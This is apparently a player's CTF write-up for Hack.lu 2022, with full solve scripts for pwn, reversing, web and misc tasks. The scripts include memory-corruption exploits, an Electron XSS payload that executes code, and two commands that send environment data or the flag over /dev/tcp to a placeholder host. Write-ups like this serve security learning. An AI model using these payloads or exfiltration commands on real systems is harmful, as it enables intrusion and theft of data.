I met @keymoon at CODEBLUE conference and impulsively decided to play a CTF with him.
There was Hack.lu CTF 2022 in that weekend and we played it as a team weak_ptr<moon>
.
Surprisingly we stood 5th place🎉
It was a fun to play a CTF with him. I solved some tasks during the CTF and I'm going to write the solution here.
- [Pwn Pasta] placemat 🧄 (45 solves / 206 pts)
- [Pwn Pasta] byor 🔥 (14 solves / 343 pts)
- [Pwn Pasta] Ordersystem 🌶️ (14 solves / 343 pts)
- [Reverse Risottos] FingerFood 🍼 (69 solves / 177 pts)
- [Reverse Risottos] Cocktail Bar 🧄 (27 solves / 257 pts)
- [Web Wraps] babyelectronV1 🍼 (21 solves / 289 pts)
- [Web Wraps] babyelectronV2 🧄 (19 solves / 299 pts)
- [Misc Muffins] Gitlub as a Service 🧄 (15 solves / 334 pts)
The program is a TicTacToe game.
1 Play 2 Rules 3 Exit 1 Do you want to play against a (b)ot or against a (h)uman? b What's your name? neko ▼ X neko Astroboy O A B C 1 │ │ ───┼───┼─── 2 │ │ ───┼───┼─── 3 │ │ neko, enter the position you want to play (e.g. A3):
The game is designed to print the flag when the user wins against the bot.
void Game::congratulate() const { ... if (this->activePlayer == this->opponent) return; ... if (typeid(*this->opponent) != typeid(Bot)) { return; } ... if (this->board.checkWinner() != Field::PLAYER) { printf("Wait a minute. You didn't win! Did you cheat?\n\n"); } else { printf("The redemption code for your free dessert is: %s\n\n", redemption_code); } ...
The bot is so strong that we can't win. We need to pwn it to get the flag.
Although the source code is pretty big, it's easy to spot the vulnerability: buffer overflow.
void Human::requestName() { printf("What's your name?\n"); scanf("%s", this->name); util::readUntilNewline(); }
The class instance is allocated on the stack in Game::startSingleplayer
.
void Game::startSingleplayer() { Human human; Bot bot; human.requestName(); bot.requestName(); Game game(&human, &bot); game.play(); }
By checking it on GDB, you'll notice that bot
is located after the human
intance, which can be overwritten by the buffer overflow.
The Bot
class has some virtual methods. That is, we can overwrite the virtual method table.
class Bot : public Player { public: virtual void requestName(); virtual Position takeTurn(Board &); };
Also, the game instance is initialized after human.requestName()
and bot.requestName()
.
This game instance is located right after the bot instance on the memory.
class Game { private: Player *player; Player *opponent; Player *activePlayer; Board board; public: ... };
The game instance has some pointers pointing to the stack.
We can leak these pointers because the player name will be printed in Game::play
and we don't have a NULL character there thanks to the buffer overflow.
So, we have the stack address and vtable control. I put a fake vtable on the stack and overwrote the vtable of bot with that address.
After getting EIP control, I used the following gadget to pivot ESP.
lea esp, [ecx-4]
To win the game, I created a fake game instance on the stack and called Game::congratulate
.
from ptrlib import * elf = ELF("./placemat/placemat") sock = Socket("nc flu.xxx 11701") sock.sendline("1") sock.sendlineafter("? ", "h") sock.sendlineafter("?", "A"*0x10) sock.sendlineafter("?", "B"*0x20) name = sock.recvregex("(.+), enter the position")[0] if name == b'A'*0x10: sock.sendlineafter(": ", "A1") name = sock.recvregex("(.+), enter the position")[0] addr_stack = u32(name[20:24]) logger.info("player 1 @ " + hex(addr_stack)) sock.sendlineafter(": ", "A2") sock.sendlineafter(": ", "A3") sock.sendlineafter(": ", "B2") sock.sendlineafter(": ", "B3") sock.sendlineafter(": ", "C2") rop_lea_esp_pecxM4 = 0x0804b226 rop_pop_ebp = 0x0804b6c0 addr_win = 0x0804AA96 sock.sendline("1") sock.sendlineafter("? ", "h") vtable_human = 0x0804c364 vtable_bot = 0x0804c1ac payload = flat([ rop_lea_esp_pecxM4, vtable_bot, vtable_human, 0, rop_pop_ebp, addr_stack + 4 - 0xc, ], map=p32) assert is_scanf_safe(payload) sock.sendlineafter("?", payload) payload = flat([ addr_win, 0, addr_stack + 0x60 ], map=p32) payload += b"A"*0x38 payload += flat([ 0xdeadbeef, addr_stack + 8, addr_stack + 12, 1, 1, 1, 1, 1, 1, 1, 1, 1, ], map=p32) sock.sendlineafter("?", payload) sock.sh()
The source code was not distributed but the program is very simple.
if (read(0, stdout, 0xE0) != 0xE0) exit(-1); stdout->_IO_wdata = calloc(1, 0xE8); puts("Let's have a look..."); return 0;
We can overwrite the whole data of stdout
. However, the version of libc is 2.35.
All the efforts to mitigate FILE structure exploit in vain and I knew several ways to exploit FILE structure.
I used _IO_wfile_jumps
, a technique also known as House of Apple 2.
Although _IO_wdata
is overwritten by calloc, we can still abuse _IO_cleanup
in exit
.
I chained stdout
to a fake FILE structure overlapping with stdout
, which will be cleaned up in _IO_cleanup
and we can call _IO_wfile_overflow
.
from ptrlib import * libc = ELF("./libc.so.6") sock = Socket("nc flu.xxx 11801") libc_base = int(sock.recvlineafter(": "), 16) - libc.symbol("_IO_2_1_stdout_") libc.set_base(libc_base) addr_IO_wfile_jumps = libc_base + 0x2160c0 payload = flat([ 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, libc.symbol("_IO_2_1_stdin_"), 1, libc.symbol("_IO_2_1_stdout_") - 0x10, 1, libc_base + 0x21ba70, -1, 0, libc.symbol("_IO_2_1_stdout_") - 0x30, 0, 0, libc_base + 0xebcf5, libc.symbol("_IO_2_1_stdout_") + 0xa8 - 0x68, 0, 0, addr_IO_wfile_jumps ], map=p64)[:0xdf] assert len(payload) < 0xe0 sock.send(payload) sock.interactive()
This task is a bit complicated so I will just summarize the important parts:
- We can write hex string to a file
- The length of filename is 12 bytes
- The size of contents is up to 0xff characters (0x1fe bytes in hex format)
- The filename is combined with "./storage", which is vulnerable to directory traversal
- The filename and contents are recorded in
ENTRIES
- We can read a file and execute it as plugin
- The length of filename is 12 bytes
- The filename is combined with "./plugins", which is NOT vulnerable to directory traversal
- The format of plugin is
<bytecode>;<name1>;<name2>;...
plugin_log
looks like this:
def plugin_log(msg,filename='./log',raw=False): mode = 'ab' if raw else 'a' with open(filename,mode) as logfile: logfile.write(msg)
At first glance it looks like that we can execute arbitrary Python bytecode by writing the bytecode to plugins
directory by directory traversal in storage
.
However, we can only write HEX string to a file, which is not suitable as the plugin format.
After several investigation I concluded that there would be not solution other than writing the Python bytecode with hex string. Then keymoon immediately extracted all the opecodes available in hex string.
Among those instructions, I found WITH_EXCEPT_START
interesting.
Calls the function in position 4 on the stack with arguments (type, val, tb) representing the exception at the top of the stack. Used to implement the call context_manager.exit(*exc_info()) when an exception has occurred in a with statement.
It looks like with this opecode we can call a function with three parameters, and actually it worked.
Again, plugin_log
looks like this:
def plugin_log(msg,filename='./log',raw=False): mode = 'ab' if raw else 'a' with open(filename,mode) as logfile: logfile.write(msg)
So, now we can write any data to any file?
The answer is no.
What we can pass to the function is co_consts
containing filenames.
We can only use UTF-8 friendly characters as a filename because of decode
method:
def store_disk(entries): for k,v in entries.items(): try: k = k.decode() except: k = k.hex() storagefile = path.normpath(f'storage/{k}') _store(storagefile,v)
I asked keymoon again and he immediately told me how to write unicode-friendly bytecode.
For example, the opecode for LOAD_METHOD
is 0x83 and this is out of ASCII range. However, we can use the opecode by putting a nop operation so that the bytes construct a valid UTF-8 character.
0x09,0xc2, 0x83,0x01, # LOAD_METHOD (eval)
In this way, we wrote a bytecode encoder to execute any Python code.
from ptrlib import * import time import os os.system("rm -f ./plugins/B") def make_conn(): return Socket("23.88.100.81", 44463) def store(entry, data): assert len(entry) <= 12 assert len(data) < 0x80 sock = make_conn() sock.send('S') sock.send(entry + b'\x00' * (12 - len(entry))) sock.send(bytes([len(data) * 2])) sock.send(data.hex()) print(sock.recvline()) sock.close() def dump(): sock = make_conn() sock.send('D') print(sock.recv()) sock.close() def plugin(name): sock = make_conn() sock.send('P') sock.send(name + b'\x00' * (12 - len(name))) sock.close() pycode = b"__import__('os').system('bash -c \"env > \\x2fdev\\x2ftcp\\x2f<HOST>\\x2f<PORT>\"')" pychunks = chunks(pycode, 12, b'\n') code = bytes([ 116,0x00, ]) for i in range(len(pychunks)): code += bytes([100,i]) if i > 0: code += bytes([0x17,0x00]) code += bytes([ 0x09,0xc2, 0x83,0x01, 0x01,0x00, 100,0x00, 83,0x00, ]) data = code + b";eval;" blocks = chunks(data, 12, b'\x00') pos_func = 0x33 + len(blocks) code = b"" for i in range(len(blocks)): code += bytes([ 100,pos_func, 100,0x30, 100,0x30, 100,0x30, 100,0x30, 100,0x32, 100,0x33+i, 49, 0x30, ]) code += bytes([53,53]) for piece in pychunks: store(piece, b"whatever") for i in range(0x30 - len(pychunks)): store(bytes([0x41 + i] * 12), b"whatever") store(b"../plugins/A", bytes.fromhex(code.decode())) store(b"\x00", b"whatever") store(b".//plugins/B", b"whatever") for block in blocks: store(block, b"whatever") dump() time.sleep(0.1) plugin(b"0123456789/A") time.sleep(0.1) plugin(b"0123456789/B")
Just reverse the binary.
import re code = """ mov [rbp+var_32], 0D6h mov [rbp+var_33], 0E9h ... mov [rbp+var_30], 2Fh ; '/' mov [rbp+var_31], 0A4h """ neko = {} for line in code.split("\n"): if line.strip() == '': continue pos, val = map(lambda x: int(x, 16), re.findall("rbp\+var_([0-9A-F]+)], ([0-9A-F]+)", line)[0]) neko[pos - 0xB] = val arr = [] for i in range(len(neko)): arr.append(neko[i]) arr = arr[::-1] flag = "" for i in range(len(arr) // 2): flag += chr( (arr[i] - arr[i+0x27]) % 0x100 ) print(flag)
The binary seems compiled with Rust and is very complex.
Running the program, we can see 2 options.
Welcome to the bar! Please choose what you want to do: 1: Let's have the the house's flagship drink 2: Evaluate your own creation q: Leave the bar
The first option dumps bunch of outputs and does not terminate.
Wise choice! Now creating our flagship drink. This may take a while... Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1024, AddVodka(2, 10))), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup) Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1024, 58)), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup(2, 5), Stirr) Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1023, Mix(1023, 12))), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup(2) Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1023, Mix(1022, Mix(1022, 12)))), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))),) ...
It looks like the task is to optimize this calculation and find the final output.
The second option accepts an expression and calculates it.
What do you want me to do for you? AddVodka(2, 10) Now thinking about: AddVodka(2, 10) Now thinking about: 58 Finished! This yields: 58
Checking the output of the first option, there are 7 functions in this grammar:
LimeSlice(x, y, z, ...)
Shake(x)
AddVodka(x, y)
Stirr(x)
FlirtWithCustomer(x, y)
Mix(x, y)
AddSyrup(x, y)
Both of them are actually not so complex. I could find out what these functions are doing by blackbox testing.
I re-implemented the functions in Python and it successfully found the flag.
def LimeSlice(*args): l = [] for c in args: if isinstance(c, int): c = str(c) l.append(c) return "".join(l) def Shake(x): return x + 24 def AddVodka(x, y): return int(x) + int(y) + 46 def Stirr(x): return chr(0x41 + x) def FlirtWithCustomer(x, y, *args): assert y <= 23 return x + 25 + (23 - y) def Mix(x, y): return int(y) % 23 def AddSyrup(x, y): l = [] for i in range(x): l.append(Stirr(Mix(1000, AddVodka(y, 187+i*28)))) return LimeSlice(*l) print(LimeSlice( LimeSlice( Stirr(Mix(1024, AddVodka(2, 10))), Stirr(Mix(3072, Shake(22))) ), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup(2, 5), Stirr(Mix(420, AddVodka(Mix(1337, AddVodka(Shake(0), 529)), 7))), LimeSlice(Stirr(Mix(2048, Shake(Shake(118)))), Stirr(Mix(666, FlirtWithCustomer(17, 0)))), Stirr(Mix(9999, LimeSlice(3, 3))), Stirr(Mix(1337, FlirtWithCustomer(12, 0))), LimeSlice(LimeSlice(Stirr(Mix(4096, Shake(Shake(Shake(AddVodka(1, 7))))))), AddSyrup(1, LimeSlice(Mix(5000, Shake(Shake(18)))))))))
This was a single task but the organizer divided it into 2 parts because there was an unintended solution. I didn't use the unintended solution and just wrote an exploit for V2, which also worked for V1.
The program is an GUI application made by Electron. The application is a service where users can buy or sell houses.
If we report a house to bot, the bot will check /support
page with the house ID.
console.log("WAITING FOR NEW INPUT") const reportId = localStorage.getItem("reportId") let RELapi = localStorage.getItem("api") const HTML = document.getElementById("REL-content") fetch(RELapi + `/support?reportId=${encodeURIComponent(reportId)}`).then((data) => data.json()).then((data) =>{ if(data.err){ console.log("API Error: ",data.err) new_msg = document.createElement("div") new_msg.innerHTML = data.err HTML.appendChild(new_msg); }else{ for (listing of data){ console.log("Checking now!", listing.msg) listing.msg = DOMPurify.sanitize(listing.msg) const div = ` <div class="card col-xs-3" style="width: 18rem;"> <span id="REL-0-houseId" style="display: none;">${listing.houseId}</span> <img class="card-img-top" id="REL-0-image" src="../${listing.image}" alt="REL-img"> <div class="card-body"> <h5 class="card-title" id="REL-0-name">${listing.name}</h5> <h6 class="card-subtitle mb-2 text-muted" id="REL-0-sqm">${listing.sqm} sqm</h6> <p class="card-text" id="REL-0-message">${listing.message}</p> <input type="number" class="form-control" id="REL-0-price" placeholder="${listing.price}"> </div> </div> <div> ${listing.msg} </div> ` new_property = document.createElement("div") new_property.innerHTML = div HTML.appendChild(new_property); } console.log("Done Checking!") } })
DOMPurify is the latest version here and we can't inject XSS in the report message ${listing.message}
.
However, ${listing.name}
is fully controllable and is not checked.
So, we can do XSS in the renderer, but what can we do for RCE?
Fortunately I had an experience to pwn some Electron applications when I helped s1r1us with ElectroVolt project. In this case we can pwn the vulnerable IPC interface.
const RendererApi = { invoke: (action, ...args) => { return ipcRenderer.send("RELaction",action, args); }, };
By calling this API we can execute the following code in the main process:
ipcMain.on("RELaction", (_e, action, args)=>{ if(/^REL/i.test(action)){ app[action](...args) }else{ } })
One can call any functions in app
whose name starts with "REL."
I looked over the documentation of Electron app and found the following method.
This looks useful. We can execute any programs by properly setting execPath
and args
.
Here is the final exploit:
import requests import json import base64 URL = "https://relapi.flu.xxx" user_token = "4a510eff26ae38337fe3e3ca54a6237f" r = requests.get(f"{URL}/listings", params={"token": user_token}) houses = json.loads(r.text) print(houses) r = requests.post(f"{URL}/buy", data=json.dumps({"token": user_token, "houseId": houses[0]['houseId']}), headers={"Content-Type": "application/json"}) print(r.text) script = """ api.invoke("relaunch", {execPath: "/bin/bash", args: ["-c", "/printflag > /dev/tcp/<HOST>/<PORT>"]}) """ b64script = base64.b64encode(script.encode()).decode() payload = f"<img src=x onerror=\"javascript:eval(atob('{b64script}'));\">" r = requests.post(f"{URL}/sell", data=json.dumps({"token": user_token, "houseId": houses[0]['houseId'], "message": payload, "price": "1919"}), headers={"Content-Type": "application/json"}) print(r.text) r = requests.post(f"{URL}/report", params={"houseId": houses[0]['houseId']}, data=json.dumps({"message": 'neko neko'}), headers={"Content-Type": "application/json"}) print(r.text)
We can upload a zip file with a GitHub repository URL, and the service will automatically create a new commit adding files in the zip and push the commit to the repository.
#!/bin/bash randomKey () { cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1; } dirname="/tmp/$(randomKey)" zipname="$(randomKey).zip" mkdir $dirname mkdir $dirname-safu echo $BASE64_SSHKEY | base64 -w0 -d > $dirname-safu/safu_key echo $SOURCE_ZIP_DATA | base64 -w0 -d > $dirname/$zipname chmod 600 $dirname-safu/safu_key cd $dirname git config --global user.email "[email protected]" git config --global user.name "NSA" git clone -c "core.sshCommand=ssh -i $dirname-safu/safu_key" $GIT_URL unzip -o $zipname rm -f $zipname git add . git commit -m "Initial commit" git push cd rm -rf $dirname* echo "Done"
The vulnerability is simple: We can execute arbitrary commands by setting pre-commit shell script.
However, this happens inside a docker and the flag is on the host machine.
There is an API in /admin
which leaks the flag fortunately:
@app.route("/admin", methods=["GET"]) def adminRoute(): if request.remote_addr not in allowed_ips: return "to be or not to be, you are not allowed to be", 403 token_regex = re.compile(r"^[a-zA-Z0-9_\-]{2,600}$") if not token_regex.match(str(request.args["key"])): return "Invalid key", 400 checksum = hashlib.sha3_224(os.environ["ADMIN_TOKEN"].encode()).hexdigest()[-5:] if hmac.compare_digest(str(request.args["key"]).encode(), os.environ["ADMIN_TOKEN"].encode()) == False: return f"Invalid key, error {checksum}", 400 return f'Flag: {os.environ.get("FLAG")}'
The value ADMIN_TOKEN
derives from ADMIN_KEY
, which is set to the environmental variable:
app_nonce = secrets.token_hex(3) data = [app_nonce+os.environ["ADMIN_KEY"], os.environ["ADMIN_KEY"]] os.environ["ADMIN_TOKEN"] = hashlib.sha3_224(data.pop(0).encode()).hexdigest()
Reading the code above carefully, you will notice that the way it calculates ADMIN_TOKEN
is weird.
It's popping app_nonce + os.environ["ADMIN_KEY"]
from data
, but os.environ["ADMIN_KEY"]
still remains in the list data
.
I checked if there is any other code that uses the variable data
, and found the following:
values = { "GIT_URL": request.form["url"], "BASE64_SSHKEY": request.form["sshkey"], "SOURCE_ZIP_DATA": zippedData } for s in ["GIT_URL", "BASE64_SSHKEY", "SOURCE_ZIP_DATA"]: data.append(s + "=" + values[s]) start_container_with_timeout(*data)
Okay, so ADMIN_KEY
is appended to the environment variable list passed to docker.
However, docker will discard any invalid environment variable. It should be in a format like XXX=YYY
.
I concluded that there would be no way to leak the key from inside the container.
The only bet was to guess that ADMIN_KEY
on the remote server is somehow set to XXX=YYY
format.
Surprisingly, it worked.
The server secret was a base64-encoded string and it included the =
character, which made the variable valid as an envvar.
The last thing to do is to guess the salt app_nonce
:
app_nonce = secrets.token_hex(3) data = [app_nonce+os.environ["ADMIN_KEY"], os.environ["ADMIN_KEY"]]
The hash value of ADMIN_TOKEN
is leaked in the admin API:
if hmac.compare_digest(str(request.args["key"]).encode(), os.environ["ADMIN_TOKEN"].encode()) == False: return f"Invalid key, error {checksum}", 400
Since the salt is only 3 bytes, we can brute force it.
import hashlib admin_key = "hT3V27aycNyQ6VgUaQeFck2eVuB3v8AzNU13cHMqbtoHP9vxcWbevtRePzuT=" for x in range(0x1000000): if x % 0x100000 == 0: print(hex(x)) app_nonce = int.to_bytes(x, 3, 'big').hex() admin_token = hashlib.sha3_224((app_nonce + admin_key).encode()).hexdigest() checksum = hashlib.sha3_224(admin_token.encode()).hexdigest()[-5:] if checksum == "8b890": print("----- Found!") print(app_nonce) print(admin_token)
This script dumps dozens of candidates. I tried them one by one, and one of them worked.